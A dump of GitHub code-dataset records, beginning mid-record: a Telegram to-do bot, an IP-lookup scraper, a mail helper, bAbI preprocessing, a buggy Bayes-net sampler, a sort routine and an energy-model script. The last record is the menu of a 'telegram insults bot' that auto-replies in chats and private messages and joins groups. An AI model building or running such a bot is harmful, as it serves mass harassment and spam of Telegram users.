DataNonLinear.engineer_features(x_data.fillna(0))\n        return pd.concat([transformations, interactions], axis=1)\n\n    @staticmethod\n    def test_train_split(x_data, y_data):\n        \"\"\"\n          * Scale using MinMaxScaler\n          * Split train/test based on missing target variables\n        :param x_data:\n        :param y_data:\n        :return: x_train, x_test, y_train\n        \"\"\"\n\n        test_index = y_data.isnull()\n        x_train = x_data.loc[~test_index].copy()\n        y_train = y_data.loc[~test_index].copy()\n        x_test = x_data.loc[test_index].copy()\n\n        y_scaler = DummyScaler()\n        return x_train, x_test, y_train, y_scaler\n","repo_name":"KCMachineLearning-AI-Group/KSU-Malaria-Research","sub_path":"src/data/data_interactions.py","file_name":"data_interactions.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"33104708619","text":"import csv\nimport datetime\nimport os\nfrom dotenv import load_dotenv\nfrom telebot import types, TeleBot\n\n\nload_dotenv()\n\nAPI_TOKEN = os.getenv(\"TG_API_TOKEN\")\nDATABASE_PATH = \"database\"\n\nUSERS = {}\nUSERS_FILE = os.path.join(DATABASE_PATH, 'users.csv')\nUSERS_FIELDNAMES = ['id', 'name', 'surname', 'age']\n\nTODOS = {}\nTODOS_FILE = os.path.join(DATABASE_PATH, 'todos.csv')\nTODOS_FIELDNAMES = ['user_id', 'todo_text', 'date']\n\nDATE_FORMAT = '%d.%m.%Y'\n\n\nbot = TeleBot(API_TOKEN)\n\n\ndef is_valid_name_surname(name_surname):\n    return not (\" \"in name_surname or len(name_surname) < 2)\n\n\ndef is_valid_age(age):\n    return not (\"\" in age or 4>age>80)\n\n\n\n@bot.message_handler(content_types=[\"text\"])\ndef start(message):\n    user_id = message.from_user.id\n    if message.text == 'личные данные':\n        #DATABASE_func\n        USERS[user_id] = {}\n        bot.send_message(user_id, 'как тебя зовут')\n        bot.register_next_step_handler(message, get_name)\n    elif message.text == 'добавить TODO':\n        TODOS[user_id] = {'user_id':user_id}\n        bot.send_message(user_id, 'введите задачу')\n        bot.register_next_step_handler(message, get_todo_text)\n    else:\n        render_initial_keyboard(user_id)\n\n\n\ndef get_todo_text(message):\n    user_id = message.from_user.id\n    TODOS[user_id]['todo_text'] = message.text\n    bot.send_message(user_id, 'введите задачу')\n    bot.register_next_step_handler(message, get_date)\n\n\n\ndef get_date(message):\n    user_id = message.from_user.id\n    try:\n        date = datetime.datetime.strptime(message.text, DATE_FORMAT)\n    except ValueError:\n        bot.send_message(user_id, 'введите дату в формате дд.мм.гггг', get_date)\n    else:\n        now = datetime.datetime.utcnow().replace(\n        hour=0,minute=0,second=0,microsecond=0\n        )\n        if now>date:\n            bot.send_message(user_id, 'введите будущую дату')\n            bot.register_next_step_handler(message,get_date)\n        else:\n            TODOS[user_id]['date'] = message.text\n            todo = TODOS[user_id]['todo_text']\n            question = (\n                f'Вы назначили задачу{todo} на следующую'\n                f'дату:\\n\\n{message.text}\\n\\n Подтвердить?'\n            )\n            render_yes_now_keyboard(user_id, question,\"todo\")\n\n\ndef todo_callback(call):\n    return call.data.startswith(\"todo_\")\n\n\n@bot.callback_query_handlers(func=lambda call: call.data.startswith(\"todo_\"))\ndef todo_worker(call):\n    user_id = call.from_user.id\n    if call.data == \"todo_yes\":\n        bot.send_message(user_id, 'спасибо, я запомнил')\n        is_first_todo = not os.path.exists(TODOS_FILE)\n        with open(TODOS_FILE, \"a\") as todos_csv:\n            writer = csv.DictWriter(todos_csv, fieldnames=TODOS_FIELDNAMES)\n            todo_dict = TODOS[user_id]\n            if is_first_todo:\n                writer.writeheader()\n            writer.writerow(todo_dict)\n    elif call.data == \"todo_no\":\n        render_initial_keyboard(user_id)\n    TODOS.pop(user_id, None)\n\n\n\ndef get_name(message):\n    user_id = message.from_user.id\n    name = message.text.title()\n    if is_valid_name_surname(name):\n        USERS[user_id]['name'] = name\n        bot.send_message(user_id, 'какая у тебя фамилия')\n        bot.register_next_step_handler(message, get_surname)\n    else:\n        bot.send_message(user_id, 'введи корректное имя')\n        bot.register_next_step_handler(message, get_name)\n\n\n\ndef get_surname(message):\n    user_id = message.from_user.id\n    surname = message.text.title()\n    if is_valid_name_surname(surname):\n        USERS[user_id]['surname'] = surname\n        bot.send_message(user_id, 'сколько тебе лет')\n        bot.register_next_step_handler(message,get_age)\n    else:\n        bot.send_message(user_id,'введи корректную фамилию')\n        bot.register_next_step_handler(message,get_surname)\n\n\ndef get_age(message):\n    user_id = message.from_user.id\n    age_text = message.text\n    if age_text.isdigit():\n        age = int(age_text)\n        if not 5<age<70:\n            bot.send_message(user_id, 'введите реальный возраст')\n            bot.register_next_step_handler(message,get_age)\n        else:\n            USERS[user_id]['age'] = age\n            name = USERS[user_id]['name']\n            surname = USERS[user_id]['surname']\n            question = f'тебя зовут {name}{surname} и тебе {age}лет?'\n            render_yes_now_keyboard(user_id, question,'reg')\n    else:\n        bot.send_message(user_id, 'введите цифрами')\n        bot.register_next_step_handler(message,get_age)\n\n\ndef reg_callback(call):\n    return call.data.startswith('reg_')\n\n@bot.callback_query_handlers(func=lambda call: call.data.startswith(\"reg_\"))\ndef reg_worker(call):\n    user_id = call.from_user.id\n    if call.data == 'reg_yes':\n        bot.send_message(user_id,'спасибо я запомню')\n        is_first_user = not os.path.exists(USERS_FILE)\n        with open(USERS_FILE, 'a') as users_csv:\n            writer = csv.DictWriter(users_csv, fieldnames=USERS_FIELDNAMES)\n            users_dict = USERS[user_id]\n            users_dict['id'] = user_id\n            if is_first_user:\n                writer.writeheader()\n            writer.writerow(users_dict)\n\n    elif call.data == 'reg_no':\n        render_initial_keyboard(user_id)\n\n    USERS.pop(user_id, None)\n\n\ndef render_yes_now_keyboard(user_id, question, prefix):\n    keyboard = types.InlineKeyboardMarkup()\n    key_yes = types.InlineKeyboardButton(text='yes', callbackdata=f'{prefix}_yes')\n    keyboard.add(key_yes)\n    key_no = types.InlineKeyboardButton(text='no', callbackdata=f'{prefix}_no')\n    keyboard.add(key_no)\n    bot.send_message(user_id, text=question, reply_markup=keyboard)\n\ndef render_initial_keyboard(user_id):\n    keyboard = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True, one_time_keyboard=True)\n    register_button = types.KeyboardButton('пользователь')\n    todo_button = types.KeyboardButton('TODO')\n    keyboard.add(register_button,todo_button)\n    bot.send_message(user_id, 'Выберите действие', reply_markup=keyboard)\n\ndef remove_initial_keyboard(user_id, message):\n    keyboard = types.ReplyKeyboardRemove\n    bot.send_message(user_id, message, reply_markup=keyboard)\n\nif __name__ == 'master.py':\n    bot.polling(none_stop=True)\n\n\n\n\n\n\n\n\n\n","repo_name":"Discosvin/todo_tg_bot","sub_path":"master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41546929295","text":"# IP归属地的自动查询\nimport requests\n\n\ndef main():\n    url = \"http://www.ip138.com/ips138.asp?ip=\"\n    try:\n        r = requests.get(url + '127.0.0.1')\n        r.raise_for_status()\n        # 更换编码格式\n        r.encoding = r.apparent_encoding\n        print(r.status_code)\n        print(r.text[-500:])\n    except:\n        print(\"爬取失败\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"huohuo123/PythonProject","sub_path":"WebCrawler/queryIPDemo.py","file_name":"queryIPDemo.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42588696448","text":"\"\"\" Notification helpers \"\"\"\n\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.application import MIMEApplication\nfrom email.utils import COMMASPACE, formatdate\nimport os\nimport smtplib\n\nSMS_ADDRS = {\n        \"TELUS\": \"{0}@msg.telus.com\",\n        \"BELL\": \"{0}@txt.bellmobility.ca\",\n        \"ROGERS\": \"{0}@pcs.rogers.com\",\n        \"VERIZON\": \"{0}@vtext.com\",\n        \"ATT\": \"{0}@txt.att.net\",\n        \"T-MOBILE\": \"{0}@tmomail.com\",\n        \"SPRINT\": \"{0}@messaging.sprintpcs.com\",\n        }\n\ndef send_sms(mailconf, from_addr, number, provider, msg, subject=\"\"):\n    if provider not in SMS_ADDRS:\n        raise KeyError(\"provider must be one of:\", list(SMS_ADDRS.keys()))\n    raise NotImplementedError\n\n\ndef send_mail(mailconf, from_addr, to_addr, msg, subject=\"\", attachment=None):\n    \"\"\" reads login information from a text file containing:\n\n        smtp.server\n        port\n        username\n        password\n\n    and sends an email containing *msg*\n    \"\"\"\n\n    if not os.path.isfile(mailconf):\n        raise IOError(\"no file %s containing mail login info\" % mailconf)\n\n    with open(mailconf, \"r\") as f:\n        host = f.readline().strip()\n        port = f.readline().strip()\n        user = f.readline().strip()\n        passwd = f.readline().strip()\n\n    print(\"%s:%s\" % (host, port))\n    print(user)\n    print(\"--------------------\")\n\n    mime_msg = MIMEMultipart()\n    mime_msg[\"From\"] = from_addr\n    mime_msg[\"To\"] = to_addr\n    mime_msg[\"Subject\"] = subject\n    mime_msg[\"Date\"] = formatdate(localtime=True)\n    mime_msg.attach(MIMEText(msg))\n\n    if attachment is not None:\n        with open(attachment, \"rb\") as f:\n            mime_msg.attach(MIMEApplication(\n                f.read(),\n                Content_Disposition='attachment; filename=\"%s\"' % os.path.basename(attachment),\n                Name=os.path.basename(attachment)))\n\n    try:\n        smtp = smtplib.SMTP_SSL(host, int(port))\n        _, s = smtp.login(user, passwd)\n        print(s)\n        msg_str = \"From: {0}\\r\\nTo: {1}\\r\\nSubject: {2}\\r\\n\\r\\n{3}\".format(from_addr, to_addr, subject, msg)\n        d = smtp.sendmail(from_addr, to_addr, mime_msg.as_string())\n        if len(d) != 0:\n            print(d)\n        smtp.quit()\n    except (smtplib.SMTPRecipientsRefused, smtplib.SMTPHeloError,\n            smtplib.SMTPSenderRefused, smtplib.SMTPDataError) as e:\n        print(\"Server error:\", str(e))\n    return\n\nif __name__ == \"__main__\":\n\n    # Send a test message, containing the module as an attachment\n    send_mail(\"mail.conf\", \"cedar@ironicmtn.com\", \"njwilson23@gmail.com\",\n              \"testing auto mailer\", subject=\"test\", attachment=\"aspmail.py\")\n\n","repo_name":"njwilson23/meltpack","sub_path":"src/meltpack/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33112776019","text":"\"\"\"\nThis module loads and pre-processes a bAbI dataset into TFRecords.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport os\nimport re\nimport json\nimport tarfile\nimport numpy as np\nimport tensorflow as tf\n\nfrom tqdm import tqdm\n\nFLAGS = tf.app.flags.FLAGS\n\ntf.app.flags.DEFINE_string('source_dir', 'datasets/', 'Directory containing bAbI sources.')\ntf.app.flags.DEFINE_string('dest_dir', 'datasets/processed/', 'Where to write datasets.')\ntf.app.flags.DEFINE_boolean('include_10k', True, 'Whether to use 10k or 1k examples.')\n\nSPLIT_RE = re.compile('(\\W+)?')\n\nPAD_TOKEN = '_PAD'\nPAD_ID = 0\n\ndef int64_features(value):\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\ndef tokenize(sentence):\n    \"\"\"\n    Tokenize a string by splitting on non-word characters and stripping whitespace.\n    \"\"\"\n    return [token.strip().lower() for token in re.split(SPLIT_RE, sentence) if token.strip()]\n\ndef parse_stories(lines, only_supporting=False):\n    \"\"\"\n    Parse the bAbI task format described here: https://research.facebook.com/research/babi/\n    If only_supporting is True, only the sentences that support the answer are kept.\n    \"\"\"\n    stories = []\n    story = []\n    for line in lines:\n        line = line.decode('utf-8').strip()\n        nid, line = line.split(' ', 1)\n        nid = int(nid)\n        if nid == 1:\n            story = []\n        if '\\t' in line:\n            query, answer, supporting = line.split('\\t')\n            query = tokenize(query)\n            substory = None\n            if only_supporting:\n                # Only select the related substory\n                supporting = map(int, supporting.split())\n                substory = [story[i - 1] for i in supporting]\n            else:\n                # Provide all the substories\n                substory = [x for x in story if x]\n            stories.append((substory, query, answer))\n            story.append('')\n        else:\n            sentence = tokenize(line)\n            story.append(sentence)\n    return stories\n\ndef save_dataset(stories, path):\n    \"\"\"\n    Save the stories into TFRecords.\n\n    NOTE: Since each sentence is a consistent length from padding, we use\n    `tf.train.Example`, rather than a `tf.train.SequenceExample`, which is\n    _slightly_ faster.\n    \"\"\"\n    writer = tf.python_io.TFRecordWriter(path)\n    for story, query, answer in stories:\n        story_flat = [token_id for sentence in story for token_id in sentence]\n\n        features = tf.train.Features(feature={\n            'story': int64_features(story_flat),\n            'query': int64_features(query),\n            'answer': int64_features([answer]),\n        })\n\n        example = tf.train.Example(features=features)\n        writer.write(example.SerializeToString())\n    writer.close()\n\ndef tokenize_stories(stories, token_to_id):\n    \"\"\"\n    Convert all tokens into their unique ids.\n    \"\"\"\n    story_ids = []\n    for story, query, answer in stories:\n        story = [[token_to_id[token] for token in sentence] for sentence in story]\n        query = [token_to_id[token] for token in query]\n        answer = token_to_id[answer]\n        story_ids.append((story, query, answer))\n    return story_ids\n\ndef get_tokenizer(stories):\n    \"\"\"\n    Recover unique tokens as a vocab and map the tokens to ids.\n    \"\"\"\n    tokens_all = []\n    for story, query, answer in stories:\n        tokens_all.extend([token for sentence in story for token in sentence] + query + [answer])\n    vocab = [PAD_TOKEN] + sorted(set(tokens_all))\n    token_to_id = {token: i for i, token in enumerate(vocab)}\n    return token_to_id\n\ndef pad_stories(stories, max_sentence_length, max_story_length, max_query_length):\n    \"\"\"\n    Pad sentences, stories, and queries to a consistence length.\n    \"\"\"\n    for story, query, answer in stories:\n        for sentence in story:\n            for _ in range(max_sentence_length - len(sentence)):\n                sentence.append(PAD_ID)\n            assert len(sentence) == max_sentence_length\n\n        for _ in range(max_story_length - len(story)):\n            story.append([PAD_ID for _ in range(max_sentence_length)])\n\n        for _ in range(max_query_length - len(query)):\n            query.append(PAD_ID)\n\n        assert len(story) == max_story_length\n        assert len(query) == max_query_length\n\n    return stories\n\ndef truncate_stories(stories, max_length):\n    stories_truncated = []\n    for story, query, answer in stories:\n        story_truncated = story[-max_length:]\n        stories_truncated.append((story_truncated, query, answer))\n    return stories_truncated\n\ndef main():\n    if not os.path.exists(FLAGS.dest_dir):\n        os.makedirs(FLAGS.dest_dir)\n\n    filenames = [\n        'qa1_single-supporting-fact',\n        'qa2_two-supporting-facts',\n        'qa3_three-supporting-facts',\n        'qa4_two-arg-relations',\n        'qa5_three-arg-relations',\n        'qa6_yes-no-questions',\n        'qa7_counting',\n        'qa8_lists-sets',\n        'qa9_simple-negation',\n        'qa10_indefinite-knowledge',\n        'qa11_basic-coreference',\n        'qa12_conjunction',\n        'qa13_compound-coreference',\n        'qa14_time-reasoning',\n        'qa15_basic-deduction',\n        'qa16_basic-induction',\n        'qa17_positional-reasoning',\n        'qa18_size-reasoning',\n        'qa19_path-finding',\n        'qa20_agents-motivations',\n    ]\n\n    tar = tarfile.open(os.path.join(FLAGS.source_dir, 'babi_tasks_data_1_20_v1.2.tar.gz'))\n    for filename in tqdm(filenames):\n        if FLAGS.include_10k:\n            stories_path_train = os.path.join('tasks_1-20_v1-2/en-10k/', filename + '_train.txt')\n            stories_path_test = os.path.join('tasks_1-20_v1-2/en-10k/', filename + '_test.txt')\n            dataset_path_train = os.path.join(FLAGS.dest_dir, filename + '_10k_train.tfrecords')\n            dataset_path_test = os.path.join(FLAGS.dest_dir, filename + '_10k_test.tfrecords')\n            metadata_path = os.path.join(FLAGS.dest_dir, filename + '_10k.json')\n            dataset_size = 10000\n        else:\n            stories_path_train = os.path.join('tasks_1-20_v1-2/en/', filename + '_train.txt')\n            stories_path_test = os.path.join('tasks_1-20_v1-2/en/', filename + '_test.txt')\n            dataset_path_train = os.path.join(FLAGS.dest_dir, filename + '_1k_train.tfrecords')\n            dataset_path_test = os.path.join(FLAGS.dest_dir, filename + '_1k_test.tfrecords')\n            metadata_path = os.path.join(FLAGS.dest_dir, filename + '_1k.json')\n            dataset_size = 1000\n\n        # From the entity networks paper:\n        # > Copying previous works (Sukhbaatar et al., 2015; Xiong et al., 2016), the capacity of the memory\n        # > was limited to the most recent 70 sentences, except for task 3 which was limited to 130 sentences.\n        if filename == 'qa3_three-supporting-facts':\n            truncated_story_length = 130\n        else:\n            truncated_story_length = 70\n\n        f_train = tar.extractfile(stories_path_train)\n        f_test = tar.extractfile(stories_path_test)\n\n        stories_train = parse_stories(f_train.readlines())\n        stories_test = parse_stories(f_test.readlines())\n\n        stories_train = truncate_stories(stories_train, truncated_story_length)\n        stories_test = truncate_stories(stories_test, truncated_story_length)\n\n        token_to_id = get_tokenizer(stories_train + stories_test)\n\n        stories_token_train = tokenize_stories(stories_train, token_to_id)\n        stories_token_test = tokenize_stories(stories_test, token_to_id)\n        stories_token_all = stories_token_train + stories_token_test\n\n        max_sentence_length = max([len(sentence) for story, _, _ in stories_token_all for sentence in story])\n        max_story_length = max([len(story) for story, _, _ in stories_token_all])\n        max_query_length = max([len(query) for _, query, _ in stories_token_all])\n        vocab_size = len(token_to_id)\n\n        with open(metadata_path, 'w') as f:\n            metadata = {\n                'dataset_name': filename,\n                'dataset_size': dataset_size,\n                'max_sentence_length': max_sentence_length,\n                'max_story_length': max_story_length,\n                'max_query_length': max_query_length,\n                'vocab_size': vocab_size,\n                'tokens': token_to_id,\n                'datasets': {\n                    'train': os.path.basename(dataset_path_train),\n                    'test': os.path.basename(dataset_path_test),\n                }\n            }\n            json.dump(metadata, f)\n\n        stories_pad_train = pad_stories(stories_token_train, \\\n            max_sentence_length, max_story_length, max_query_length)\n        stories_pad_test = pad_stories(stories_token_test, \\\n            max_sentence_length, max_story_length, max_query_length)\n\n        save_dataset(stories_pad_train, dataset_path_train)\n        save_dataset(stories_pad_test, dataset_path_test)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"subercui/Relation-Network","sub_path":"TensorflowVersion/prep_datasets.py","file_name":"prep_datasets.py","file_ext":"py","file_size_in_byte":9010,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"70721951399","text":"\r\nimport sys\r\nimport random\r\nimport BayesNetUtil as bnu\r\nfrom BayesNetReader import BayesNetReader\r\n\r\n\r\nclass BayesNetApproxInference(BayesNetReader):\r\n    query = {}\r\n    prob_dist = {}\r\n    seeds = {}\r\n    num_samples = None\r\n\r\n    def __init__(self):\r\n        if len(sys.argv) != 4:\r\n            print(\"USAGE> BayesNetApproxInference-weight.py [your_config_file.txt] [query] [num_samples]\")\r\n            print(\"EXAMPLE> BayesNetApproxInference-weight.py \\ config-heart-NaiveBayes.txt \\P(target|sex=0,cp=3)\\ 2000\")\r\n        else:\r\n##            file_name = \"config-heart-NaiveBayes.txt\"\r\n##            prob_query =\"P(target|sex=0,cp=3)\"\r\n##            self.num_samples = int(2000)\r\n            file_name = sys.argv[1]\r\n            prob_query =sys.argv[2]\r\n            self.num_samples = int(sys.argv[3])\r\n            super().__init__(file_name)\r\n            self.query = bnu.tokenise_query(prob_query)\r\n            self.prob_dist = self.weighting_sampling()\r\n            print(\"probability_distribution=\"+str(self.prob_dist))\r\n\r\n    def weighting_sampling(self):\r\n        print(\"\\nSTARTING rejection sampling...\")\r\n        query_variable = self.query[\"query_var\"]\r\n        evidence = self.query[\"evidence\"]\r\n        C = {}\r\n\r\n        # initialise vector of counts\r\n        for value in self.bn[\"rv_key_values\"][query_variable]:\r\n            value = value.split(\"|\")[0]\r\n            C[value] = 0\r\n            \r\n\r\n        # loop to increase counts when the sampled vector consistent w/evidence\r\n        for i in range(0, self.num_samples):\r\n            X,w = self.prior_sample_weight()\r\n            value_to_increase = X[query_variable]\r\n            C[value_to_increase] += w\r\n\r\n        return bnu.normalise(C)\r\n\r\n    def prior_sample_weight(self):\r\n        X = {}\r\n        w=1\r\n        sampled_var_values = {}\r\n        for variable in self.bn[\"random_variables\"]:\r\n            if variable in self.query[\"evidence\"]:\r\n                new_w=self.change_w(variable,X)\r\n                w=w*new_w\r\n                continue\r\n            else:\r\n                X[variable] = self.get_sampled_value(variable, sampled_var_values)\r\n                sampled_var_values[variable] = X[variable]\r\n        return X,w\r\n\r\n    def change_w(self,var,X):\r\n        #self.query[\"evidence\"]\r\n        w_prob={}\r\n        parent_string_value=\"\"\r\n        parent_sample={}\r\n        parents=bnu.get_parents(var, self.bn)\r\n        if parents is None:\r\n            cpt=\"CPT(\"+var+\")\"\r\n            var_value=self.query[\"evidence\"][var]\r\n            p=self.bn[cpt][var_value]\r\n        elif len(parents.split(\",\"))==1:\r\n            cpt=\"CPT(\"+var+\"|\"+parents+\")\"\r\n            var_value=self.query[\"evidence\"][var]+\"|\"+X[parents]\r\n            p=self.bn[cpt][var_value]\r\n            \r\n        else:\r\n            parents=parents.split(\",\")\r\n            for parent in parents:\r\n                if parent in self.query[\"evidence\"]:\r\n                    parent_var=self.query[\"evidence\"][parent]\r\n                    parent_string_value=parent_string_value+var+\"|\"+parent_var\r\n                    cpt=cpt+\"CPT(\"+var+\")|\"+parent\r\n                else:\r\n                    parent_sample_var=self.get_sampled_value(parent,parent_sample)\r\n                    parent_string_value=parent_string_value+parent_sample_var\r\n                    cpt=cpt+\"CPT(\"+var+\")|\"+parent\r\n            p=self.bn[cpt][parent_string]\r\n        return p\r\n    \r\n    def get_sampled_value(self, V, sampled):\r\n        # get the conditional probability distribution (cpt) of variable V\r\n        parents = bnu.get_parents(V, self.bn)\r\n        cpt = {}\r\n        prob_mass = 0\r\n\r\n        # generate a cumulative distribution for random variable V\r\n        if parents is None:\r\n            for value, probability in self.bn[\"CPT(\"+V+\")\"].items():\r\n                prob_mass += probability\r\n                cpt[value] = prob_mass\r\n\r\n        else:\r\n            for v in bnu.get_domain_values(V, self.bn):\r\n                p = bnu.get_probability_given_parents(V, v, sampled, self.bn)\r\n                prob_mass += p\r\n                cpt[v] = prob_mass\r\n\r\n        # check that the cpt sums to 1 (or almost)\r\n        if prob_mass < 0.999 and prob_mass > 1:\r\n            print(\"ERROR: CPT=%s does not sum to 1\" % (cpt))\r\n            exit(0)\r\n\r\n        return self.sampling_from_cumulative_distribution(cpt)\r\n\r\n    def sampling_from_cumulative_distribution(self, cumulative):\r\n        random_number = random.random()\r\n        for value, probability in cumulative.items():\r\n            if random_number <= probability:\r\n                random_number = random.random()\r\n                return value.split(\"|\")[0]\r\n\r\n        print(\"ERROR couldn't do sampling from:\")\r\n        print(\"cumulative_dist=\"+str(cumulative))\r\n        exit(0)\r\n\r\n\r\n\r\nBayesNetApproxInference()\r\n","repo_name":"Afsaneh-Karami/Artificial-intelligence","sub_path":"Inference by stochastic simulation/BayesNetApproxInference-weight.py","file_name":"BayesNetApproxInference-weight.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74825302758","text":"def exchangeSort(array, *args):\n    \"\"\"\n    Exchange Sort is a simple sorting algorithm that repeatedly swaps adjacent elements \n    in the array if they are in the wrong order. The algorithm iterates through \n    the array multiple times, comparing adjacent elements and swapping them if\n    they are in the wrong order. Each iteration moves the smallest unsorted element \n    to its correct position in the sorted portion of the array.\n\n    Time complexity: O(n^2), where n is the number of elements in the list\n\n    \"\"\"\n    size = len(array)\n    for i in range(size - 1):\n        for j in range(i + 1, size):\n            yield array, i, j, -1, -1\n            if array[i] > array[j]:\n                array[j], array[i] = array[i], array[j]\n","repo_name":"LucasPilla/Sorting-Algorithms-Visualizer","sub_path":"src/algorithms/exchangeSort.py","file_name":"exchangeSort.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":366,"dataset":"github-code","pt":"18"}
{"seq_id":"39763556135","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 30 13:55:31 2019\n\n@author: espenfb\n\"\"\"\n\nimport metaModel as mm\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport metaRes as mr\n \nidx = pd.IndexSlice\n\ntime_data = {\n'start_date': pd.Timestamp(year = 2015, month = 1, day = 1),\n'end_date': pd.Timestamp(year = 2016, month = 1, day = 1),\n'ref_date': pd.Timestamp(year = 2015, month = 1, day = 1)}\n\ndirs = {\n'data_dir' : \"Data\\\\\",\n'ctrl_data_file' : 'ctrl_data.csv',\n#'res_dir' : 'NEEDS2\\\\Meta_results_100x\\\\'}\n'res_dir' : 'Result_3\\\\Year\\\\'}\n\nmeta_data = {\n'param': 'CO2_cost',\n 'index': 'None',\n 'kind': 'absolute',\n 'range': np.arange(0.00,0.29,0.03)} \n\nobj = mm.metaModel(time_data, dirs, meta_data)\n\nobj.runMetaModel()\n\n\n# Examples of result plotting:\n# see file: savedRes.py for more information\n\nplt.close('all') # close all plots\n\n# Plot meta model results:\n\n\npt = 'bar'\n\nif True: obj.meta_res = mr.metaRes(obj.res_dir, obj.meta_data, data = obj.model.data)\n\nobj.meta_res.plotValueByType('prod', objects = 'POWER_PLANTS', kind = 'area',\n                    lower_lim = 1000000)\nobj.meta_res.plotValueByType('prod', objects = 'H2_PLANTS', kind = 'bar', xscale = 1000)\n\n# Plot results for individual scenario:\n\nres = obj.meta_res.res[-1] # results for the first parameter run of meta model\n\n\nobj.meta_res.plotValueByType('cur', kind = 'bar', base_val = 'Load',\n                    base_obj = 'EL_NODES', xscale=1000)\n\nobj.meta_res.plotInvByType(objects = 'STORAGE', xscale = 1000,\n                  lower_lim = 0.0, conH2power = True)\n\n#res.plotEnergyByType()\nres.getValueByType('prod',\n                   objects = 'POWER_PLANTS',\n                   lower_lim = 100).plot(kind = 'area',\n                                        cmap = 'tab20c')\n\n#res.plotInvByBus(lower_limit = 100.0)\n\nres.plotValue('storage', objects= 'BATTERY_STORAGE')\nres.plotValue('storage', objects= 'HYDROGEN_STORAGE')\n\nmkr_scale = 500\n\nres.plotMap(linetype = 'Cap', objects = 'BATTERY_STORAGE', mkr_scaling= 100, rel_lines = True)\nres.plotMap(linetype = 'Cap', nodes = 'H2_NODES', \n            objects = 'HYDROGEN_STORAGE',\n            nodetype= 'energy', mkr_scaling= mkr_scale, line_lim = 1000)\n\nres.plotMap(objects = 'PEMEL_PLANTS', nodetype = 'power', mkr_scaling= mkr_scale)\n\nres.plotMap(objects = 'ONSHORE_WIND_POWER_PLANTS', nodetype = 'power', mkr_scaling= mkr_scale)\nres.plotMap(objects = 'SOLAR_POWER_PLANTS', nodetype = 'power', mkr_scaling= mkr_scale)\nres.plotMap(objects = 'SMR_PLANTS', nodetype = 'power', mkr_scaling= mkr_scale)\nres.plotMap(objects = 'SMR_CCS_PLANTS', nodetype = 'power', mkr_scaling= mkr_scale)\n\ntotal_load = res.opr_res.loc[idx[:],idx[res.EL_NODES,'Load']].sum().sum()\ntotal_rat = res.opr_res.loc[idx[:],idx[res.EL_NODES,'rat']].sum().sum()\nprint('Total rationing: ','%.1f' % total_rat, ' MWh (%.2f percent of total load)' % ((total_rat/total_load)*100))\ntotal_h2_load = res.opr_res.loc[idx[:],idx[res.H2_NODES,'Load']].sum().sum()\ntotal_h2_rat = res.opr_res.loc[idx[:],idx[res.H2_NODES,'rat']].sum().sum()\nprint('Total H2 rationing: ','%.1f' % total_h2_rat, ' MWh (%.2f percent of total load)' % ((total_rat/total_load)*100))\nwind_cur = res.opr_res.loc[idx[:],idx[res.WIND_POWER_PLANTS,'cur']].sum().sum()\nprint('Total wind power curtailment: ','%.1f' % wind_cur, ' MWh (%.2f percent of total load)' % ((wind_cur/total_load)*100))\nsolar_cur = res.opr_res.loc[idx[:],idx[res.SOLAR_POWER_PLANTS,'cur']].sum().sum()\nprint('Total solar power curtailment: ','%.1f' % solar_cur, ' MWh (%.2f percent of total load)' % ((solar_cur/total_load)*100))\n","repo_name":"espenfb/HEIM","sub_path":"demo/run_metaModel.py","file_name":"run_metaModel.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"28855060068","text":"#маин говно - Исправления будут\n\nfrom files.reply_chat import ReplyChat\nfrom files.reply_pm import ReplyPM\nfrom files.join import Joiner\nfrom files.reply_all import ReplyAll\nfrom files.reaction import SetReactions\nfrom files.bite_bot import BiteBot\n\nfrom sys import platform\nfrom rich.console import Console\n\nfrom menu import Menu\n \nconsole = Console()\n\nif platform == \"win32\":\n   console.print(\"You have Windows installed, some functions may not work. (I recommend installing Linux or Termux)\", style=\"bold red\")\n   \ndef main():\n\n    Menu()\n    \n    try:\n        option = int(console.input(\"\\n[bold]#> \"))\n\n        if option == 1:\n           ReplyChat()\n\n        elif option == 2:\n             ReplyAll()\n\n        elif option == 3:\n             ReplyPM()\n\n        elif option == 4:\n             Joiner()\n\n        elif option == 5:\n             SetReactions()\n\n        elif option == 6:\n             BiteBot()\n                                    \n    except KeyboardInterrupt:\n        console.print(\"https://t.me/vesron_xx\")   \n                     \nif __name__ == \"__main__\":\n   main()\n    \n\n       \n","repo_name":"MrNecron/telegram-insults-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
